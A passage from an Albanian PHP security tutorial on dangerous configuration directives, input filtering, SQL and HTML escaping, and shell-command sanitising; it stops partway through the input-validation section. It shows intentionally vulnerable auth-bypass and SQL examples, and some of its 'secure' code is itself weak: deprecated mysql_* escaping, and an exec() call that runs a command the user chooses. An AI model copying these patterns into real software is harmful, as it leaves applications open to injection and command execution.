<p>PHP ka disa opsione konfigurimi që janë menduar të ndihmojnë programuesit të ndërtojnë aplikacione më solide, por që nga praktika kanë rezultuar më tepër problematik se sa të nevojshëm. Kjo s&#8217;është bërë me qëllim, sepse arkitektura e PHP-së dhe serverave ku egzekutohet ka ndryshuar shumë që nga versionet fillestare dhe heqja e opsioneve është proçes gradual. Në këtë moment, shumë prej këtyre opsioneve konsiderohen të braktisur dhe me siguri do të hiqen nga qarkullimi me versionet e reja.</p>
<p>Këto opsione të PHP-së quhen direktiva dhe përbëjnë konfigurimin e gjuhës. Vlerat mund të ndryshohen në php.ini (zakonisht: /etc/php.ini), me një php.ini të veçantë në hostet që e lejojnë, me një skedar .htaccess ose direkt me kod PHP përmes funksionit <a title="Funksioni i PHP ini_set()" href="http://php.net/manual/en/function.ini-set.php">ini_set()</a>. Alternativa më e mirë do të ishte ndryshimi direkt i php.ini në mënyrë që ndryshimet të jenë globale dhe jo specifike për aplikacione të ndryshme.</p>
<h3>Register Globals</h3>
<p>Register Globals është një direktivë e menduar për të thjeshtësuar manipulimin e variablave superglobale që vijnë nga format, url, cookie dhe sesionet. Vlerat e të gjitha variablave superglobale deklarohen automatikisht në kod PHP në variabla me të njëjtët emra. Për ta shpjeguar më mirë, supozojmë se kam një URL të tillë: index.php?faqja=rreth-nesh. Me register_globals të aktivizuar, parametrin &#8220;faqja&#8221; në adresë do mund ta përdorja në këtë formë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">echo</span> <span style="color: #000088;">$faqja</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do te printonte 'rreth-nesh'</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Duket e thjeshtë, por në të vërtetë është problematike. Praktikisht çdo variabël superglobale do të regjistrohej me një emër variable të njëjtë me vetë emrin e superglobales, përfshi këtu çdo tip. Pra, nëse do krijoja një parametër në URL me emrin &#8220;identifikuar&#8221; dhe një cookie me po të njëjtin emër, aplikacioni do kthehej në një lëmsh variablash të injektuara që potencialisht mbivendosin njëra tjetrën dhe hapin probleme të rënda sigurie. Për të ilustruar një problem tipik sigurie që vjen nga register_globals, po ju tregoj një shembull nga vetë manuali i PHP-së (sigurisht i kthyer në Shqip).</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Vendos $identifikuar = true nese perdoruesi eshte identifikuar</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>identifiko_perdoruesin<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #000088;">$identifikuar</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Nese $identifikuar eshte true, perfshihet nje skedar PHP qe permban</span></li><li><span style="color: #666666; font-style: italic;">	te dhena sensitive. Duke qene se $identifikuar nuk eshte deklaruar</span></li><li><span style="color: #666666; font-style: italic;">	fillimisht me vleren &quot;false&quot;, kodit mund ti injektohet vlera e</span></li><li><span style="color: #666666; font-style: italic;">	variables $identifikuar permes nje variable superglobale.</span></li><li><span style="color: #666666; font-style: italic;">	Psh: faqja.php?identifikuar=1 do e regjistronte variablen</span></li><li><span style="color: #666666; font-style: italic;">	$identifikuar me vleren 1 (true) dhe do i lejonte akses hyrje</span></li><li><span style="color: #666666; font-style: italic;">	ne te dhenat sensitive kujtdo.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$identifikuar</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;/admin/te-dhena-sensitive.php&quot;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Do të ishte fatale nëse aplikacioni juaj do lejonte diçka të tillë, apo jo? Jo vetëm që register_globals injekton variabla në aplikacion duke e bërë burimin të vështirë të dallohet, por nëse nuk tregohet vëmendja e duhur, mund të rezultojë në probleme madhore sigurie. Çaktivizojeni që të jeni më të ndërgjegjshëm si dhe nga vijnë të dhënat hyrëse dhe përdorni variablat superglobale për secilën kërkesë: $_POST, $_GET, $_COOKIE dhe $_SESSION.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>register_globals <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> off</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Shumë ekspertë nuk ja vejnë fajin Register Globals për problemet që sjell, por vetë programuesëve. Edhe pse është e vërtetë që programuesi duhet të jetë më i përgjegjshëm në ato që kodon, kjo s&#8217;do të thotë që çdo zgjedhje në arkitekturën e gjuhës është e saktë. Për mendimin tim, Register Globals është zgjedhje e gabuar dhe rezultatet e kanë treguar. Në momentin që gjuha fillon të supozojë, është e sigurtë që ka probleme. Programuesi është ai që merr vendimet dhe gjuha duhet të mjaftohet ti ofrojë ndihmën për të arritur qëllimet, jo të &#8220;mendojë&#8221; për të!</p>
<h3>Superglobalja $_REQUEST</h3>
<p>Kjo nuk është direktivë e PHP-së, por një konstrukt i gjuhës dhe disa mund të argumentojnë se nuk është problem sigurie, por për mendimin tim (të cilin do e shpjegoj), sjell po aq probleme sigurie sa Register Globals. Praktikisht, $_REQUEST është shumë e ngjashme me Register Globals sepse tenton të ofrojë një variabël superglobale që mban vlerat e POST, GET, COOKIE dhe SESSION. Edhe këtu, origjina e të dhënave është e pa kuptueshme dhe si rrjedhim, mund të hapen vrima sigurie shumë të ngjashme me Register Globals të aktivizuar. I vetmi ndryshim është se kodi nuk injektohet nga variabla, por e ka në dorë programuesi ti përdorë ose jo.</p>
<p>Shembulli më poshtë tenton t&#8217;ju ilustrojë një rast ku përdorimi i pa ndërgjegjshëm i $_REQUEST mund të sjellë një problem të madh sigurie.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Kontrollohet nese eshte vendosur sesioni 'identifikuar',</span></li><li><span style="color: #666666; font-style: italic;">	sesion i cili eshte krijuar ne login. Duke qene se nuk</span></li><li><span style="color: #666666; font-style: italic;">	ka burim te specifikuar, nje sulmues mjafton te vendose nje</span></li><li><span style="color: #666666; font-style: italic;">	parameter ne URL apo te krijoje nje COOKIE me emrin 'identifikuar'</span></li><li><span style="color: #666666; font-style: italic;">	per te marre direkt akses ne te dhena sensitive.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'admin/sensitive.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Edhe pse shembulli është pak naiv, demonstron se përdorimi i $_REQUEST sjell të njëjtin problem si Register Globals: mos njohja e burimit. Mjafton të përdorni superglobalet e duhura për secilën tip kërkese: $_POST, $_GET, $_COOKIE dhe $_SESSION.</p>
<h3>Magic Quotes</h3>
<p>Magic Quotes është një direktivë që tenton ti pastrojë (escape) të dhënat nga POST, GET, COOKIE dhe SESSION automatikisht, për të shmangur problemet që sjellin kur ato të dhëna kërkohen të futen në databazë. Problemi qëndron se sërish gjuha &#8220;mendon&#8221; për ty, kur në fakt duhet të jetë programuesi ai që zgjedh nëse të dhënat duhet të pastrohen dhe të jetë i ndërgjegjshëm për këtë. Për më tepër, pastrimi nuk kryhet sipas specifikave të databazës që përdoret, gjë që e bën të rrezikshme. Çaktivizojeni si më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li><span style="color: #666666; font-style: italic;">; Magic Quotes per superglobalet GET/POST/Cookie.</span></li><li><span style="color: #000099;">magic_quotes_gpc</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">; Magic Quotes per te dhena ne kohe reale: sql, exec(), etj.</span></li><li><span style="color: #000099;">magic_quotes_runtime</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">; Magic Quotes ne stilin Sybase: ' me '', ne vend te \'.</span></li><li><span style="color: #000099;">magic_quotes_sybase</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Në vend që të mbështeteni tek Magic Quotes, përdorni manualisht funksionet specifikë të databazë. Për MySQL, do të shkruani një kod të tillë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li><span style="color: #666666; font-style: italic;">//emri i pastruar</span></li><li><span style="color: #000088;">$emri_p</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$emri</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h3>Gabimet e Egzekutimit</h3>
<p>PHP ka disa direktiva për gabimet e egzekutimit që duhet të përdoren në varësi të rastit. Le ti shohim me rradhë.</p>
<p><b>error_reporting</b> është direktiva që vendos nivelin e raportimit të gabimeve. E mira është të aktivizoni nivelin maksimal të raportimit që të shihni çdo gabim të mundshëm që ndodh. Vendoseni në E_ALL ose më mira akoma, në E_ALL | E_STRICT për të parë edhe opsionet e abandonuara. Ndryshe nga direktivat e tjera që mund të vendosen gjatë egzekutimit me ini_set(), raportimi i gabimeve vendoset me funksionin error_reporting(). Sidoqoftë, si ç&#8217;e përmenda më sipër, alternativa më e mirë është ta vendosni në php.ini për te pasur efekt global.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>error_reporting <span style="color: #000066; font-weight:bold;">=</span><span style="color: #000066; font-weight:bold;"><span style="color: #660066;"> E_ALL | E_STRICT</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><b>display_errors</b> është një direktivë që përcakton nëse duhet të shfaqen gabimet ose jo. Në servera produksioni nuk do donit që vizitorët të shihnin çfarë gabimesh ndodhin gjatë egzekutimit. Për më tepër, sulmuesit mund të marrin të dhëna të rëndësishme si emra tabelash dhe kolonash në databazë. Në server testimi mbajeni të aktivizuar, ndërsa në produksion çaktivizojeni.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>display_errors <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><b>logs_errors</b> është një direktivë që nëse aktivizohet, ruan gabimet në një skedar të caktuar. Në servera produksioni, ku display_errors është çaktivizuar, kjo është mënyra më e mirë për të monituar gabimet. Do ju ndihmojë te identifikoni probleme logjike në aplikacion, por gjithashtu edhe tentativa potenciale sulmesh nga dështimi i query-ve. Për të vendosur skedarin ku gabimet ruhen, duhet të vendosni direktivën <i>error_log</i>.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>log_errors <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> On</span></li><li><span style="color: #666666; font-style: italic;">; Mund te perdorni &quot;syslog&quot; si vlere e error_log per ti ruajtur gabimet ne logger-in e sistemit</span></li><li><span style="color: #000099;">error_log</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> /logs/gabimet.log</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h3>Safe Mode</h3>
<p>Safe Mode është një direktivë e menduar për të ofruar mbrojtje në serverat shared, ku në një server mund të ruhen dhjetëra apo qindra klientë të ndryshëm. Ideja këtu është që Safe Mode kontrollon nëse një skedar ka të njëjtin &#8220;owner&#8221; (në kuptimin e të drejtave) me skriptin që po tenton ta lexojë apo ta shkruajë. Tentativa është të bllokojë aksesin nga klientë të tjerë në skedarë që nuk i përkasin atij. Edhe pse mendimi është i mirë dhe nëse do ishte efektiv, do bllokonte shumë probleme sigurie në servera shared, problemi qëndron se është e gabuar në nivel arkitekturor që të tilla çështje të zgjidhen nga PHP. Kjo pranohet në vetë manualin e PHP-së dhe nuk këshillohet që siguria të mbështetet në Safe Mode.</p>
<p>Në nivelin e PHP-së, Safe Mode funksionon pothuajse mirë. Por, kontrolli bëhet për PHP dhe përgjegjësia mbaron aty. Nëse tentohen të lexohen skedarë të huaj me Python, Perl apo çdo gjuhë tjetër që mund të egzekutohet në server, rezultati është drastik. Qëllimi i kësaj guide nuk është t&#8217;ju tregojë si të mbroni skedarë sensitivë në një server shared, përndryshe do zgjatej pa fund, por thjeshtë mbani mend të mos mbështeteni tek Safe Mode.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="INI"><div class="devcodeoverflow"><ol><li>safe_mode <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Filtrimi dhe Pastrimi i të Dhënave</h2>
<p>Në fillim të guidës ju thashë që s&#8217;duhet ti besoni askujt dhe duhet ta konsideroni këdo si një sulmues potencial. Kjo s&#8217;do të thotë thjeshtë që duhet ti shihni me dyshim vizitorët, se fundja nuk zgjidh shumë. Do të thotë se nuk duhet ti besoni të dhënave hyrëse. Çfarë janë këto të dhëna? Jo vetëm ato që vizitorëve u kërkohet të plotësojnë, por edhe ato që mund të manipulohen nga vizitorët, qofshin parametra GET, COOKIE, SESSION apo POST. Gabimi që programuesit bëjnë është supozimi se një teknikë nuk funksionon thjeshtë sepse ata s&#8217;e kanë dëgjuar ose sepse është e komplikuar të kryhet. Një sulmues që i ka vënë vetes qëllim të përftojë nga sistemi juaj, nuk do ndalojë lehtë. E vetmja mënyrë për t&#8217;ja bërë jetën e vështirë është të merrni të gjitha masat e mundshme.</p>
<p>Të dhënat hyrëse duhet të kalojnë në dy proçese: filtrim dhe pastrim. Të filtrosh të dhënat do të thotë që ti kthesh ato në një format të caktuar apo të sigurohesh që përmbajtja e tyre është e vlefshme. Në këtë mënyrë limitohet shumë fusha e veprimit të një sulmuesi, sepse i bllokon lirinë në manipulimin e të dhënave. Ndërsa të pastrosh të dhëna do të thotë që të fshish apo transformosh karaktere të caktuara të cilat mund të thyejnë query SQL apo të krijojnë probleme të përgjithshme sigurie. Pastrimin do e prek pak sepse do jetë më tepër në fokus në seksionet në vijim.</p>
<h3>Pastrimi i të Dhënave që Përdoren në Query</h3>
<p>Të dhënat që përdoren në query SQL janë ato që krijojnë problemet më të përhapura. Sulmi tipik do ishte SQL Injection, për të cilin do ju flas me detaje në vijim. Për tani, ju duhet të dini që të dhënat hyrëse që përdoren në një query SQL, duhen pastruar.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM vizitoret WHERE emri='<span style="color: #006699; font-weight: bold;">$emri</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Funksioni mysql_real_escape_string() bën veprimet e duhura për ta pastruar tekstin nga karakteret që mund të thyejnë një query. Versione specifike të SQL përdorin funksione të ndryshëm, prandaj konsultoni manualin.</p>
<h3>Pastrimi i Tageve HTML</h3>
<p>Një aplikacion që i lejon vizitorët të fusin kod arbitrar HTML, automatikisht është vulnerabël ndaj një prej sulmeve më të përhapur: XSS (Cross Site Scripting). Për teknikën do ju flas me detaje në vijim, por për tani ju duhet të dini që çdo e dhënë hyrëse e cila në një moment do të printohet në faqe, duhet pastruar nga taget HTML. Mënyra më e mirë është duke përdorur funksionin htmlentities(), i cili i kthen taget HTML në entitite dhe i bën të shfaqen si tekst i thjeshtë dhe jo si kod.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$mesazhi</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mesazhi'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #b1b100;">echo</span> <span style="color: #000088;">$mesazhi</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h3>Pastrimi i Komandave të Sistemit</h3>
<p>PHP ofron një set funksionesh të specializuar për të egzekutuar komanda sistemi. Pra, përmes PHP mund të kryejmë veprime dhe të marrim rezultatin në nivel sistemi operativ. Funksionet vijnë me disa emra të cilët janë në thelb të njëjtë, por kryesisht ndryshojnë nga kthimi i rezultatit. Ndryshimi midis secilit është jashtë qëllimit të kësaj guide, prandaj do të fokusohem në atë që personalisht preferoj: exec(). Gjithçka vlen edhe për funksionet e tjera, si: system(), passthru(), etj.</p>
<p>Le të themi se dua të egzekutoj një komandë në një sistem Linux, ku dua të listoj të gjithë skedarët, përfshi ata të fshehurit. Komanda në këtë rast do të ishte: &#8220;ls -a&#8221;. Kthimi i rezultatit (output-i) në këtë rast s&#8217;na intereson, kështu që e mbajmë të thjeshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #990000;">exec</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ls -a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Fare e thjeshtë, apo jo? Edhe pse një funksion i fuqishëm që përdor direkt sistemin operativ, fuqia është aq e madhe sa që nëse nuk përdoret me kujdes, mund ti lihet një sulmuesi akses direkt në sistem. Normalisht, duhet të shmangni përdorimin e tij dhe të përdorni funksionet e PHP-së. Nëse patjetër duhet ti përdorni, të paktën tregohuni super të kujdesshëm!</p>
<p>Një problem i madh që mund të lindë me egzekutimin e komandave të sistemit është kur këto komanda vijnë nga të dhëna hyrëse. Sulmuesit mund të vendosin karaktere që i lejojnë të egzekutojnë komanda të futura nga ata, për ta bërë teknikën tmerrësisht të rrezikshme. Për fat të mirë, PHP ofron dy funksione për ti pastruar karakteret që mund të thyejnë një komandë sistemi. Shikoni shembullin e thjeshtë më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$komanda</span> <span style="color: #339933;">=</span> <span style="color: #990000;">escapeshellcmd</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'kom'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000088;">$argumentet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'arg'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #990000;">exec</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$komanda</span> <span style="color: #006699; font-weight: bold;">$argumentet</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h3>Validimi i Tipit të të Dhënave</h3>
<p>Në shumë raste, të dhënat hyrëse mjafton të jenë një tip i caktuar. Kjo është tipike për ID-të në databazë, të cilat janë numerike. Po ju tregoj një shembull të një kodi me të dhëna hyrëse të pa validuara, duke supozuar që kemi një parameter GET &#8216;id&#8217;: <i>index.php?id=xx</i>.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT titulli, permbajtja FROM artikujt WHERE id=<span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Kam marrë ID-në nga superglobalja $_GET për ta përdorur në një query SQL. Do shihni që në query, variablën $id e kam shkruar pa thonjëza për ta trajtuar si numër. Kjo është tërësisht normale dhe funksionon shumë mirë, por ka një problem të madh! Çfarë ndodh nëse parametri GET modifikohet nga një sulmues për ta bërë string? Query do të dështojë! Ky s&#8217;është i vetmi problem, sepse fundja nuk është fundi i botës nëse një query dështon. Problemi i madh është se i hap rrugën sulmuesit për të kryer veprime shumë më të rrezikshme si SQL Injections. Për të do të flas më tej gjatë guidës, por për tani ju duhet të dini që lejimi i një të dhëne të tillë të pa validuar është e rrezikshme.</p>
<p>Validimi në këtë rast është i thjeshtë sepse e dimë që ID do të jetë numër. Në PHP ka disa alternativa për të kontrolluar tipin e të dhënave ose për ta konvertuar atë. Shikoni shembujt më poshtë.</p>
<p>Përdor <i>type casting</i> për ta detyruar $id-në të kthehet në INT (integer &#8211; numër i plotë). Kjo është mënyrë e mirë për të validuar sepse nuk bën thjeshtë krahasim, por e konverton.<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	E kthej $id-ne ne integer. Cfaredo vlere te permbaje, nese eshte e mundur</span></li><li><span style="color: #666666; font-style: italic;">	te kthehet ne nje numer te vlefshem, do te kthehet. Ne rastet kur eshte e pamundur</span></li><li><span style="color: #666666; font-style: italic;">	do te kthehet ne 0. Psh: 145abc#' =&gt; 145, abc9483 =&gt; 0</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT titulli, permbajtja FROM artikujt WHERE id=<span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Kontrollon nese query nuk ka kthyer te pakten nje rezultat dhe shfaq nje mesazh</span></li><li><span style="color: #666666; font-style: italic;">	per te lajmeruar qe artikulli nuk egziston.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Artikulli nuk egziston'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Përdor funksionin ctype_digit() për të kontrolluar nëse të gjitha karakteret janë numra. Edhe nëse një karakter i vetëm nuk është numër, funksioni kthen FALSE. Kini kujdes sepse para PHP 5.1.0, ctype_digit() kthente TRUE edhe nëse vlera ishte bosh.<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Nese ctype_digit() kthen TRUE, do te thote qe $id eshte numer.</span></li><li><span style="color: #666666; font-style: italic;">	Ne te kundert, shfaq nje mesazh gabimi.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">ctype_digit</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT titulli, permbajtja FROM artikujt WHERE id=<span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Identifikuesi i Artikullit eshte i pavlefshem'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Përdor funksionin filter_var() që nga PHP 5.2. Ky funksion është pak më fleksibël se dy metodat më sipër sepse tenton ta konvertojë në një tip të dhëne të caktuar (në rastin tonë në INT), por gjithashtu kthen FALSE nëse konvertimi nuk ishte i suksesshëm.<br />
